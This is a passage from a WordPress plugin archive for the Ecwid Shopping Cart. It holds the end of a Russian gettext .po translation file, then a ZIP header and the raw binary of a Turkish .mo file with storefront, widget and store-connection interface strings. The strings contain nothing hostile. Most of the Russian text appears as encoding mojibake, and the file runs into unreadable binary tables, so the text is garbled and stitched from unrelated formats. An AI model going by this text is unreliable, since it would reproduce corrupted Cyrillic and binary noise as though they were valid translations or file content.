"https://support.ecwid.com/hc/ru" #. Plugin Name of the plugin/theme msgid "Ecwid Shopping Cart" msgstr "" msgid "%s products and categories" msgstr "Товары и категории магазина %s" msgid "Bulk import products and categories to your %s store" msgstr "Загрузка товаров и категорий в магазин из внешних иÑточников или других e-commerce решений" msgctxt "vc-tab" msgid "Online store" msgstr "Магазин" msgctxt "vc-block" msgid "Online store" msgstr "Витрина магазина" msgid "Displays storefront: product listing and checkout" msgstr "Показывает витрину магазина, корзину и оформление заказа" msgid "Main storefront page" msgstr "Ð“Ð»Ð°Ð²Ð½Ð°Ñ Ñтраница магазина" msgid "You have your storefront added to several pages on your site. You can choose the main storefront page here — the store navigation menus and sidebar widgets will open it." msgstr "Ð’Ñ‹ добавили витрину магазина на неÑколько Ñтраниц Ñайта. С помощью Ñтой наÑтройки вы можете выбрать, какую из Ñтраниц Ñчитать главной витриной — на неё будут ÑÑылатьÑÑ Ð¿ÑƒÐ½ÐºÑ‚Ñ‹ меню и Ñайдбар-виджеты." msgid "Product List Appearance" msgstr "Дизайн ÑпиÑка товаров" msgid "%s store" msgstr "Витрина магазина" msgid "Add storefront (product listing)" msgstr "СпиÑок товаров" #: includes/class-ecwid-product-browser.php:10 msgid "Show product thumbnails" msgstr "Показывать Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ñ‚Ð¾Ð²Ð°Ñ€Ð¾Ð²" #: includes/class-ecwid-product-browser.php:18 msgid "Product thumbnail size" msgstr "Размер Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ñ‚Ð¾Ð²Ð°Ñ€Ð°" #: includes/class-ecwid-product-browser.php:26 msgid "Product thumbnail aspect ratio" msgstr "Формат Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ñ‚Ð¾Ð²Ð°Ñ€Ð°" #: includes/class-ecwid-product-browser.php:34 msgid "Show product card border" msgstr "Показывать рамку карточки товара" #: includes/class-ecwid-product-browser.php:42 msgid "Product card text align" msgstr "Выравнивание данных товара" #: includes/class-ecwid-product-browser.php:46 msgid "Left" msgstr "По левому краю" #: includes/class-ecwid-product-browser.php:51 msgid "Center" msgstr "По центру" #: includes/class-ecwid-product-browser.php:56 msgid "Right" msgstr "По правому краю" #: includes/class-ecwid-product-browser.php:61 msgid "Justify" msgstr "По ширине" #: includes/class-ecwid-product-browser.php:71 msgid "Product title" msgstr "Ðазвание товара" #: includes/class-ecwid-product-browser.php:79 msgid "Product price" msgstr "Цена товара" #: includes/class-ecwid-product-browser.php:87 msgid "Product SKU" msgstr "Ðртикул товара" #: includes/class-ecwid-product-browser.php:95 msgid "Buy now buttons" msgstr "Кнопка “Купитьâ€" #: includes/class-ecwid-product-browser.php:103 msgid "Show additional image on hover" msgstr "Показывать доп.изображение при наведении мыши" #: includes/class-ecwid-product-browser.php:111 msgid "Category card layout" msgstr "Формат карточки категории" #: includes/class-ecwid-product-browser.php:115 msgid "Title under image" msgstr "Ðазвание под изображением" #: includes/class-ecwid-product-browser.php:119 msgid "Title on image" msgstr "Ðазвание на изображении" #: includes/class-ecwid-product-browser.php:123 msgid "Image and title on mouse over" msgstr "Ðазвание по наведению мыши" #: includes/class-ecwid-product-browser.php:127 msgid "Title only" msgstr "Только название" #: includes/class-ecwid-product-browser.php:131 msgid "Image only" msgstr "Только изображение" #: includes/class-ecwid-product-browser.php:140 msgid "Category thumbnail size" msgstr "Размер Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ ÐºÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ð¸" #: includes/class-ecwid-product-browser.php:148 msgid "Category thumbnail aspect ratio" msgstr "Формат Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ ÐºÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ð¸" #: includes/class-ecwid-product-browser.php:156 msgid "Display categories menu" msgstr "Показывать меню категорий над витриной" #: includes/class-ecwid-product-browser.php:163 msgid "Display search box" msgstr "Показывать поиÑк над витриной" #: includes/class-ecwid-product-browser.php:170 msgid "Display breadcrumbs" msgstr "Показывать цепочку навигации" #: includes/class-ecwid-product-browser.php:178 msgid "Display footer menu" msgstr "Показывать меню внизу Ñтраницы" #: includes/class-ecwid-product-browser.php:186 msgid "Display sign in link" msgstr "Показывать ÑÑылку “Войтиâ€" #: includes/class-ecwid-product-browser.php:194 msgid "Display sort by link" msgstr "Показывать меню Ñортировки" #: includes/class-ecwid-product-browser.php:202 msgid "Default category ID" msgstr "КатегориÑ, Ð¿Ð¾ÐºÐ°Ð·Ñ‹Ð²Ð°ÐµÐ¼Ð°Ñ Ð¿Ð¾ умолчанию" #: includes/class-ecwid-product-browser.php:214 msgid "Show" msgstr "Показывать" #: includes/class-ecwid-product-browser.php:218 msgid "Hide" msgstr "Скрывать" #: includes/class-ecwid-product-browser.php:222 msgid "Show on hover" msgstr "Показывать при наведении мыши" #: includes/class-ecwid-product-browser.php:232 msgid "S" msgstr "S" #: includes/class-ecwid-product-browser.php:236 msgid "M" msgstr "M" #: includes/class-ecwid-product-browser.php:240 msgid "L" msgstr "L" #: includes/class-ecwid-product-browser.php:250 msgid "Portrait 2:3" msgstr "Вертикальные 2:3" #: includes/class-ecwid-product-browser.php:255 msgid "Portrait 3:4" msgstr "Вертикальные 3:4" #: includes/class-ecwid-product-browser.php:260 msgid "Square 1:1" msgstr "Квадратные 1:1" #: includes/class-ecwid-product-browser.php:265 msgid "Landscape 4:3" msgstr "Горизонтальные 4:3" #: includes/class-ecwid-product-browser.php:270 msgid "Landscape 3:2" msgstr "Горизонтальные 3:2" msgid "Online Store Apps" msgstr "ÐŸÑ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð°" msgid "Plugins for Ecwid" msgstr "ÐŸÑ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð´Ð»Ñ Ð­ÐºÐ²Ð¸Ð´Ð°" msgid "Themes for Ecwid" msgstr "Темы Ð´Ð»Ñ Ð­ÐºÐ²Ð¸Ð´Ð°" msgid "Migration warning" msgstr "" msgid "To improve the look and feel of your store and manage your storefront appearance here, please enable the “Next-gen look and feel of the product list on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€)." msgstr "Чтобы обновить дизайн Ñвоего магазина и управлÑть наÑтройками вида в редакторе, включите опцию “Обновленный внешний вид каталога товаров на витрине†в панели ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð° (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">ÐаÑтройки → ОбновлениÑ</a>â€)" msgid "Display cart icon" msgstr "Показывать иконку корзины" msgid "You can enable an extra shopping bag icon widget that will appear on your site pages. Open “<a href=\"%1$s\">Appearance → Customize → %2$s</a>†menu to enable it." msgstr "Включите дополнительный плавающий виджет корзины, который будет поÑвлÑтьÑÑ Ð½Ð° Ñтраницах Ñайта. ДоÑтупно в меню “<a href=\"%1$s\">Внешний вид → ÐаÑтроить → %2$s</a>â€" msgid "Category List Appearance" msgstr "Дизайн ÑпиÑка категорий" msgid "Store Navigation" msgstr "ÐÐ°Ð²Ð¸Ð³Ð°Ñ†Ð¸Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð°" msgid "Store Front Page" msgstr "Ð“Ð»Ð°Ð²Ð½Ð°Ñ Ñтраница магазина" msgid "Product Page Appearance" msgstr "Дизайн Ñтраницы товара" msgid "Product page layout" msgstr "Формат карточки товара" msgid "2 columns, image on the right" msgstr "2 колонки, изображение Ñправа" msgid "2 columns, image on the left" msgstr "2 колонки, изображение Ñлева" msgid "3 columns, image on the right" msgstr "3 колонки, изображение Ñправа" msgid "3 columns, image on the left" msgstr "3 колонки, изображение Ñлева" msgid "Filters panel position" msgstr "Положение панели фильтров" msgid "On the left" msgstr "Слева" msgid "On the right" msgstr "Справа" msgid "Show description under the image" msgstr "Показывать опиÑание под изображением" msgid "Image gallery layout" msgstr "Формат галереи" msgid "Horizontal thumbnails" msgstr "Горизонтально" msgid "Vertical thumbnails" msgstr "Вертикально" msgid "Image feed" msgstr "Полноразмерные изображениÑ" msgid "Product sidebar content" msgstr "Ð˜Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð½Ð° Ñтранице" msgid "Breadcrumbs" msgstr "Цепочка навигации" msgctxt "product-browser-attributes" msgid "Product SKU" msgstr "Ðртикул" msgctxt "product-browser-attributes" msgid "Product price" msgstr "Цена" msgid "Product quantity" msgstr "Поле \"КоличеÑтво\"" msgid "Available qty in stock" msgstr "КоличеÑтво в наличии" msgid "\"In stock\" label" msgstr "Метка \"Ð’ наличии\"" msgid "Wholesale prices" msgstr "Оптовые цены" msgid "Share buttons" msgstr "Кнопки \"ПоделитьÑÑ\"" msgid "Text color" msgstr "Цвет текÑта" msgid "Button color" msgstr "Цвет кнопок" msgid "Price color" msgstr "Цвет цены" msgid "Link color" msgstr "Цвет ÑÑылок" msgid "Background color" msgstr "Цвет фона" msgid "Color settings" msgstr "ÐаÑтройки цвета" msgid "Detect automatically" msgstr "ОпределÑть автоматичеÑки" msgid "Set manually" msgstr "Задать вручную" msgid "Edit " msgstr "Задать вручную" msgctxt "gutenberg-store-block-stub" msgid "Store" msgstr "Витрина магазина" msgid "Edit Product" msgstr "Редактировать товар" msgid "Edit Category" msgstr "Редактировать категорию" msgid "I couldn’t find a WordPress theme that goes well with %s" msgstr "Я не Ñмог подобрать тему, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ñ…Ð¾Ñ€Ð¾ÑˆÐ¾ работает Ñ %s" msgid "I use this WordPress theme: %s" msgstr "Тема моего Ñайта: %s" msgid "To improve the look and feel of your product page and manage your its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (<a href=\"admin.php?page=ec-store-admin-whatsnew\">Settings → What’s New</a>)." msgstr "Чтобы обновить дизайн Ñтраницы товара и управлÑть наÑтройками вида в редакторе, включите опцию “Обновленный внешний вид Ñтраницы товара†в панели ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð° (<a href=\"admin.php?page=ec-store-admin-whatsnew\">ÐаÑтройки → ОбновлениÑ</a>)" msgid "To use this functionality, please enable the “Next-gen look and feel of the product list on the storefront†option in your store dashboard (<a%s>Settings → What's New</a>)." msgstr "Чтобы иÑпользовать Ñтот функционал, включите опцию “Обновленный внешний вид каталога товаров на витрине†в панели ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð° (<a%s>ÐаÑтройки → ОбновлениÑ</a>)" msgid "%s Store Page" msgstr "Страница %s-магазина" #. Plugin URI of the plugin/theme #. Author URI of the plugin/theme msgid "http://www.ecwid.com?source=wporg" msgstr "" #. Description of the plugin/theme msgid "Ecwid is a free full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up." msgstr "Эквид — Ñто конÑтруктор интернет-магазина." #. Author of the plugin/theme msgid "Ecwid Team" msgstr "" #~ msgid "Updated %s widgets are available for your %s store. They are more mobile friendly and look better. Please enable them on the plugin settings page and check how they work in your store. The new widgets will be enabled automatically for all users in one of the upcoming plugin versions." #~ msgstr "Блоки %s в вашем %s-магазине обновлены – теперь они выглÑдÑÑ‚ приÑтнее и лучше работают на мобильных. ПожалуйÑта, включите новый вид блоков поиÑка и категорий на Ñтранице наÑтроек плагина. Ð’ одном Ñледующих обновлений плагина они будут включены автоматичеÑки Ð´Ð»Ñ Ð²Ñех пользователей." #~ msgctxt "upgrade widgets message" #~ msgid "Categories" #~ msgstr "Категорий" #~ msgid "Open %s store settings" #~ msgstr "Открыть наÑтройки плагина %s" #~ msgid "<a href=\"admin.php?page=ecwid-help\">Read FAQ or contact support</a>" #~ msgstr "<a href=\"admin.php?page=ecwid-help\">ПоÑетите Центр поддержки Эквида или напишите нам</a>" #~ msgid "Enable the new category menu" #~ msgstr "Включить новое меню категорий" #~ msgid "The new category menu looks better and is more mobile-friendly. If you haven't yet added category menu to your store page, you can do that in the <a %s>store page editor</a> (enable the \"Show categories\" option)" #~ msgstr "Ðовое меню категорий лучше выглÑдит и отлично работает на мобильных уÑтройÑтвах. ЕÑли у Ð²Ð°Ñ Ð½Ð° Ñтранице магазина пока нет меню категорий, добавьте его в <a %s>наÑтройках Ñтраницы магазина</a> (включите виджет \"Категории\")." PK������Ê—[9_ÚÎâV��âV��:��ecwid-shopping-cart/languages/ecwid-shopping-cart-tr_TR.monu�„[µü¤��������Þ•����¬������|��å���Ü ������p��'���q�� ���™�� ���º��q���Ä��<���6��k���s��K���ß��S���+��G��������Ç�����Ð��P���â�����3�� ���O�����Z��¸���n�����'��/��>�����n�����ˆ�����§�����¾�����Ù�����î�����ÿ������������M���4��@���‚�����Ã��$���Ö�����û��/�����w���K�����Ã�����E��]���X�� ���¶�����À��"���Ô��#���÷�� ����� ���&�����1��!���B��!���d��q���†��s���ø��P���l��¡���½��y���_��(���Ù������� �����)���+��+���U�� ����� ��������˜�����±�����Ê��Û���ã��‰���¿��L���I�����–�����¬�����À�����Ý�����ø�� �����&��������:�����W�����k��¸���t�����-�����H��*���Ê��!���õ��3��������K�����T�� ���m�����z��8���‹�� ���Ä��*���Ï�����ú�� ���ÿ��Þ��� �����è ��2��ø ��]���+"�����‰"�� ���Ž"�����˜"�����¨"��,���¿"�����ì"��A��� #�����L#��-���d#�����’#�����¯#�����Ë#�����æ#��c���ù#��l���]$�����Ê$��‰���Ü$��!���f%�����ˆ%�����Ž%��+���%��/���É%��W���ù%�����Q&�����m&��%���†&�����¬&��1���Â&�����ô&�����ý&�����'�����*'�� ���;'��1���H'��(���z'��)���£'�����Í'�����à'�����æ'�� ���ë'�����ù'�����(�� ���(�� ���,(�����8(��T��R(�� ���§)��>���µ)��–���ô)�����‹*�����‘*�����¢*��ß���«*�����‹+�����œ+�����¬+�����À+�����Ï+�� ���Õ+��/���à+��Ó���,��M���ä,��M���2-��•���€-��Š���.�����¡.�����².�����Ã.��0���à.��T���/��q���f/��=���Ø/��A���0�����X0��,���t0�����¡0�����À0�����Ù0��â���î0��+���Ñ1��(���ý1�� ���&2��Š���32��<���¾2��k���û2��K���g3��S���³3��G���4�� ���O4�����Z4��a���m4�����Ï4�� ���ë4�����ö4��¸��� 5�����Ä5��E��Ý5��!���#7�����E7�����d7�����{7�����–7�� ���®7�����¹7�����Á7�����Õ7��T���ó7��@���H8�����‰8��$���¢8�����Ç8��/���ç8�����9�����§9�����):��]���C:�����¡:�����°:��,���È:��.���õ:�����$;�� ���6;�����A;��!���^;��,���€;��q���­;��s���<��P���“<��¡���ä<�����†=��+���>�����C>�� ���`>��0���n>��2���Ÿ>�����Ò>�� ���ä>�����ï>����� ?��#���%?��Û���I?��­���%@��L���Ó@����� A�����6A��#���PA��!���tA�����–A�����¬A��&���ÀA�����çA�����B�����B��¸���!B�����ÚB�����õB��-���wC��!���¥C��3���ÇC�� ���ûC����� D�� ���"D�����/D��>���FD�� ���…D��*���D�����»D�����ÂD�����ÖD�����×E��2��æE��[���G�����uG�����{G�����ŽG����� G��,���¿G�����ìG��A��� H�����LH��4���bH��!���—H�����¹H�����ØH�����óH��d���I�����mI�����ïI��‰���J�����‹J�����ªJ�����°J��+���¿J��/���ëJ��n���K��5���ŠK�����ÀK��'���ÙK�����L��1���L�� ���IL�����SL�����qL�����ƒL�����”L��1���¬L��(���ÞL��/���M�����7M�����NM�����VM�� ���^M�����lM�����M�� ���‘M�� ���ŸM��+���«M��g��×M�����?O��>���RO��–���‘O�����(P�����0P�� ���AP��ß���LP�����,Q�����=Q�����MQ�����eQ�����tQ�����zQ��8���Q��Ó���ÆQ��M���šR��M���èR��¿���6S��Š���öS�����T�����—T�����­T��0���ÊT��[���ûT��q���WU��=���ÉU��A���V�����IV��,���gV�����”V�����´V�����ÍV������������›���-����������K���>���!���Œ������u���˜���¡�������)���G���b���]��� �������X���v���?���ž���j������<���t������Š���„�����������Y����������f���|���^���o���g������“���P���c���r������n�������ƒ���#���V������I���§���•���M������8�����������y���”�������š���_��� ���T����������� ���œ������d���������������H�������E���l�������������}�������x���i�������B���¦���R���D�������2���m���‰����������'���[���e���$���(�������q���£���U���`�������Q���¥���z�������p���.���A�������:�����������6������������0����������†�������’���w������‹���L���‘�������S��� ��� ���k�����������������O���;������������������‚���W�������¢���&���Z�������¤���J���‡���–���N�������¬���/���F���1���%���€��� ������=���+�������7���Ž���«���—���@������©����������� ����������������������"���a���9���™���{���������…���ª����������ˆ���~�����������������������¨���������������\���C���4�������*������������h�������5���3���,���Ÿ���s����<a %s>Online store powered by Ecwid</a>�Add Product Slider to Your Store�Add Store�Add a fancy product slider to your site using a free WP Widgets Avalanche plugin which works perfectly with Ecwid�Add your Ecwid store to your site <nobr>in two clicks</nobr>�Additionally, you can add store controls to your website's toolbar using <a %s>WordPress native widgets</a>�Adds a cart widget for customer to see the products they added to the cart.�Adds a compact cart widget for customer to see the products they added to the cart.�Adds vertical categories block to let the customer navigate your store.�Advanced�Advanced settings�After clicking button you need to login and accept permissions to use our plugin�Already have Ecwid account?�Appearance�Appearance settings�Automatic adjustment of your store design to your Wordpress theme. Whatever Wordpress theme you use, Ecwid will detect predominant colors and font and use them in your product catalog.�Back to Store Settings�By default, the storefront shows a list of root categories. You can override this behavior and show a different category when customers open your store for the first time. This is useful if you only have one category or want to display a specific set of items (e.g. "Featured Products") to new visitors.�Category shown by default�Chameleon skin <sup>beta</sup>�Choose widgets to show�Compatible with your theme�Configure Appearance�Congratulations!�Connect�Connect Ecwid store�Connect Your Ecwid Store�Connect your Ecwid account with this site to complete setup and start selling�Connect your Ecwid store to this site <nobr>in two clicks</nobr>�Connect your store�Connect your store to Wordpress site�Connect your store to this site�Connect your store<br /> to this WordPress site�Connection error - after clicking button you need to login and accept permissions to use our plugin. Please, try again.�Connection error: please click the button again and give permissions for this plugin<br /> to show your Ecwid store on this site.�Create Ecwid store�Create a free Ecwid account to manage your store and inventory.<br /> No credit card required�Dashboard�Default category ID�Default view mode on product pages�Default view mode on search results�Demo Store�Demo store�Disconnect store�Display categories above products�Display search box above products�Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site.�Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop.�Displays a simple search box for your customers to find a product in your storex�Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid.�Do you like your Ecwid online store? We'd appreciate it if you add your review and vote for the plugin on Wordpress site.�Don't have Ecwid account? Create it here�Don't have an Ecwid account?�Ecwid Badge�Ecwid Shopping Cart — Advanced settings�Ecwid Shopping Cart — Appearance settings�Ecwid Store�Ecwid Team�Ecwid e-commerce widgets�Ecwid ecommerce solution�Ecwid free shopping cart�Ecwid iOS app allows you to manage your online store, sell your products on the go, and accept payments with your phone. Just download the Ecwid app, connect it to your Ecwid shop and have your sales at your fingertips!�Ecwid is a free full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up.�Ecwid is compatible with your<br>“%s†WordPress theme<br>out of the box.�Ecwid plugin settings�Ecwid shopping cart�Ecwid shopping cart settings�Ecwid shopping cart widget�Edit Appearance�Edit Store�Enable minicart attached to categories�Enable the new category menu�Enter your Store ID�Features�Free Google XML Sitemaps plugin creates a sitemap that includes your store product links. This makes your product pages more visible to search engines and appear in the search results.�Free and always up to date�Free plan always available with tons of features<br>at no additional cost. Updates are seamless, automatic<br>and free of charge.�Free registration, No credit card required�Get Started, Create Ecwid Account�Get Your Products Found on Google using XML Sitemap�Get help�Get ready to sell online�Global Reach�Go to Ecwid site�Good job! Your store is set up and you're ready to sell.�Greetings!�Greetings! Your Ecwid store is now active.�Grid�Grid view�Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, Ecwid will adapt the number of columns to hold all products.�Hidden category�In order to enable this feature, opt to use a secret key. You will find this key in your Ecwid control panel, at "System Settings > Apps > Legacy API Keys > Single Sign-On Secret Key" page. This feature is available for <a href="http://www.ecwid.com/compare-plans.html" target="_blank">paid users</a> only.�In order to set this option, <a %s>find an ID of the necessary category</a> and save it here.�List�List view�Manage my store�Manage plugin settings�More than 800,000 merchants in 175 countries�Never show this message again�New features available, reconnect to be in touch with our updates�No credit card required�Now you can fine-tune your store's appearance�Number of categories per row�Number of products per page�Number of products to show�Open control panel�Or you can add search box to your website's toolbar using <a href="%s">WordPress native widgets</a>�Or you can add vertical categories to your website's toolbar using <a href="%s">WordPress native widgets</a>�PCI-DSS Certified�Please note this functionality is in beta. So if you run into difficulties or find problems with Chameleon, please <a %s>let us know</a>.�Plugin is installed successfully!�Price�Product Search�Product catalog will be shown automatically�Questions? Visit <a %s>Ecwid support center</a>�Questions? Visit <a href="http://help.ecwid.com/?source=wporg">Ecwid support center</a>�Rate Ecwid at WordPress.org�Recently Viewed Products�Recommendations for Your Online Store�Reconnect Ecwid store�Reconnect your store<br /> to this WordPress site�Register�Register at Ecwid for free�Responsive design�Save and connect�Save changes�Secure checkout with over 40<br />payment options�Sell Everywhere<br>with your Ecwid store�Sell On The Go with Ecwid iOS Application�Set up Ecwid Store�Setup�Shop�Shopping Cart�Shopping Cart (Mini)�Show categories�Show minicart�Show search�Single Sign-On Secret Key�Single Sign-On Secret Key is an option that allows your customers access to your WordPress site as well as the Ecwid shopping cart. When customers log in to your site, they will automatically be logged in to your Ecwid store as well. It makes sense to enable this feature if your visitors actually create accounts in your WordPress website.�Start selling�Start selling <br>on your WordPress <nobr>site for free</nobr>�Start selling on your WordPress site. Then mirror your shop on your Facebook page, blog and marketplaces like Google Shopping, Yahoo and Shopping.com.�Store�Store Categories�Store ID�Store ID is a unique identifier of your Ecwid account. You can find it in your Ecwid control panel: open the <a %s>Dashboard page</a> and find the "<b>Store ID: NNNNNNN</b>" text, where <b>NNNNNNN</b> is your Store ID.�Store Link Title�Store Page Link�Store root category�Store settings�Table�Table view�Take a few simple steps to complete store setup�The new category menu looks better and is more mobile-friendly. If you haven't yet added category menu to your store page, you can do that in the <a %s>store page editor</a> (enable the "Show categories" option)�There are few little steps left to start selling<br /> on your WordPress site�There are just a few steps left to start selling<br /> on your WordPress site�To add extra functions to your store, drag and drop Ecwid store elements on your site. When you're done, you can get back to modifying your settings.�Use Ecwid's mobile-POS to swipe credit cards and sell on the go. Your orders and inventory are always synchronized with your online store.�Visit Storefront�Visit storefront�Where to find your Store ID:�You have not viewed any product yet. Open store.�You should disable this option, if you added minicart to your website's sidebar�You will be asked to log in to your Ecwid Control Panel<br />and give permissions to show your store on this site�Your Ecwid store is connected<br /> to your WordPress website�Your Ecwid store is now connected<br /> to your WordPress website�Your store is almost ready!�Your store looks perfect<br />on all devices�Your store will be shown here!�Your storefront is ready�→ Sell on Facebook�Project-Id-Version: POT-Creation-Date: PO-Revision-Date: Last-Translator: Language-Team: MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: tr_TR X-Generator: Poedit 2.2.1 �<a %s>Ecwid online maÄŸaza çözümleri</a>�MaÄŸazanıza Ürün Kaydırıcı Ekleyin�MaÄŸaza Ekle�Ecwid ile mükemmel bir ÅŸekilde çalışan WP Widgets Avalanche eklentisini indirerek sitenize süslü bir ürün kaydırıcısı ekleyin�Add your Ecwid store to your site <nobr>in two clicks</nobr>�Additionally, you can add store controls to your website's toolbar using <a %s>WordPress native widgets</a>�Adds a cart widget for customer to see the products they added to the cart.�Adds a compact cart widget for customer to see the products they added to the cart.�Adds vertical categories block to let the customer navigate your store.�GeliÅŸmiÅŸ�GeliÅŸmiÅŸ ayarlar�Düğmeye tıkladıktan sonra eklentiyi kullanmak için giriÅŸ yapıp izinleri onaylamalısınız�Already have Ecwid account?�Görünüm�Görünüm ayarları�Automatic adjustment of your store design to your Wordpress theme. Whatever Wordpress theme you use, Ecwid will detect predominant colors and font and use them in your product catalog.�MaÄŸaza Ayarlarına Dön�MaÄŸaza varsayılan olarak kök kategorilerin listesini görüntüler. Bu ayarı deÄŸiÅŸtirerek müşterilerinize belirli kategoriler görüntüleyebilirsiniz. Müşterilerinize maÄŸazanızı ilk ziyaretlerinde belirli kategoriler veya ürünler (örn. "Yeni Ürünler") göstermek istiyorsanız bu ayar iÅŸinize yarayabilir.�Varsayılan kategori görünümü�Chameleon skin <sup>beta</sup>�Choose widgets to show�Compatible with your theme�Görünümü DeÄŸiÅŸtir�Tebrikler!�BaÄŸlan�Connect Ecwid store�Ecwid MaÄŸazanıza BaÄŸlanın�Kurulumu tamamlamak ve satışa baÅŸlayabilmek için Ecwid hesabınıza baÄŸlananın�Connect your Ecwid store to this site <nobr>in two clicks</nobr>�MaÄŸazanızı baÄŸlayın�Connect your store to Wordpress site�Connect your store to this site�Connect your store<br /> to this WordPress site�BaÄŸlantı hatası - düğmeye tıkladıktan sonra eklentiyi kullanmak için giriÅŸ yapıp izinleri onaylamalısınız. Lütfen tekrar deneyin.�Connection error: please click the button again and give permissions for this plugin<br /> to show your Ecwid store on this site.�Ecwid MaÄŸazası oluÅŸtur�Create a free Ecwid account to manage your store and inventory.<br /> No credit card required�Kontrol paneli�Varsayılan kategori ID�Ürün sayfasının varsayılan görünümü�Arama sonuçlarının varsayılan görünümü�Deneme maÄŸazası�Demo store�MaÄŸaza baÄŸlantısını kes�Display categories above products�Arama kutusunu ürünlerin üzerinde göster�Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site.�Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop.�Displays a simple search box for your customers to find a product in your storex�Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid.�Ecwid online maÄŸazasını sevdiniz mi? Wordpress sayfasında eklentimizi oylamanız ve görüşlerinizi bildirmeniz bizi çok memnun edecektir.�Ecwid hesabınız yok mu? Burada oluÅŸturun�Don't have an Ecwid account?�Ecwid Yaması�Ecwid AlışveriÅŸ Sepeti — GeliÅŸmiÅŸ ayarlar�Ecwid AlışveriÅŸ Sepeti — Görünüm ayarları�EÑwid MaÄŸazası�Ecwid Team�Ecwid e-ticaret widgetleri�Ecwid e-ticaret çözümü�Ecwid ücretsiz alışveriÅŸ sepeti�Ecwid iOS app allows you to manage your online store, sell your products on the go, and accept payments with your phone. Just download the Ecwid app, connect it to your Ecwid shop and have your sales at your fingertips!�Ecwid, ücretsiz ve tam özellikli bir alışveriÅŸ sepetidir. BeÅŸ dakikadan daha kısa bir sürede kurulabilir ve her hangi bir Wordpress bloÄŸuyla bütünleÅŸtirilebilir.�Ecwid is compatible with your<br>“%s†WordPress theme<br>out of the box.�Ecwid plugin settings�Ecwid alışveriÅŸ sepeti�Ecwid alışveriÅŸ sepeti ayarları�Ecwid alışveriÅŸ sepeti widgeti�Görünümü Düzenle�MaÄŸazayı Düzenle�Enable minicart attached to categories�Enable the new category menu�Enter your Store ID�Features�Free Google XML Sitemaps plugin creates a sitemap that includes your store product links. This makes your product pages more visible to search engines and appear in the search results.�Free and always up to date�Free plan always available with tons of features<br>at no additional cost. Updates are seamless, automatic<br>and free of charge.�Ücretsiz kayıt, kredi kartı gerekli deÄŸil�Get Started, Create Ecwid Account�Get Your Products Found on Google using XML Sitemap�Yardım alın�Get ready to sell online�Global Reach�Ecwid web sitesine git�Güzel! MaÄŸazanız kuruldu, sipariÅŸleri kabul edebilirsiniz.�Tebrikler!�Tebrikler! Ecwid maÄŸazanız artık etkin.�Izgara�Izgara görünümü�Sayfa başına kaç adet ürün görüntüleneceÄŸini belirleyebilirsiniz. Bu seçenekler azami miktarları belirtmektedir. Tüm ürünleri görüntülemek için yeterli alan yok ise Ecwid sütunları tüm ürünleri gösterecek ÅŸekilde deÄŸiÅŸtirecektir.�Gizli kategori�In order to enable this feature, opt to use a secret key. You will find this key in your Ecwid control panel, at "System Settings > Apps > Legacy API Keys > Single Sign-On Secret Key" page. This feature is available for <a href="http://www.ecwid.com/compare-plans.html" target="_blank">paid users</a> only.�Bu ayarı deÄŸiÅŸtirmek için, <a %s>gerekli kategori IDsini bulun ve </a> buraya kaydedin.�Liste�Liste görünümü�MaÄŸaza yönetimi�Plugin ayarlarını deÄŸiÅŸtir�More than 800,000 merchants in 175 countries�Bu mesajı bir daha gösterme�New features available, reconnect to be in touch with our updates�Kredi kartı gerekmez�Artık maÄŸaza görünümünü deÄŸiÅŸtirebilirsiniz�Satır başına kategori sayısı�Sayfa başına ürün sayısı�Number of products to show�Kontrol panelini aç�Ya da arama kutusunu <a href="%s">WordPress yerleÅŸik widgetlerını</a> kullanarak ekleyebilirsiniz�Ya da dikey kategorileri sitenin araç çubuÄŸuna <a href="%s">WordPress yerleÅŸik widgetlerını</a> kullanarak ekleyebilirsiniz�PCI-DSS Certified�Please note this functionality is in beta. So if you run into difficulties or find problems with Chameleon, please <a %s>let us know</a>.�Eklenti baÅŸarıyla yüklendi!�Fiyat�Product Search�Product catalog will be shown automatically�Questions? Visit <a %s>Ecwid support center</a>�Sorun mu yaşıyorsunuz? <a href="http://help.ecwid.com/?source=wporg">Ecwid destek merkezini</a> ziyaret edin�WordPress.org sitesinde Ecwid uygulamasını oylayın�Recently Viewed Products�Çevrimiçi MaÄŸazanız için Öneriler�Reconnect Ecwid store�Reconnect 